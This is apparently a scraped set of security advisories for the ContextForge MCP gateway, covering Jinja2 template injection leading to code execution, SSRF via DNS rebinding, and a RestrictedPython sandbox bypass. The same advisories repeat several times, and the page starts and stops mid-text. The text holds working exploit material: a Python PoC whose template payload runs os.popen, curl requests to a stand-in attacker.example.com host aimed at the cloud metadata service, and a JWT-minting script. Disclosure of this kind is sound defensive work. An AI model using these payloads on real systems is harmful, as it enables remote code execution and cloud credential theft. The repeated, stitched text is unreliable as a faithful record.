• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

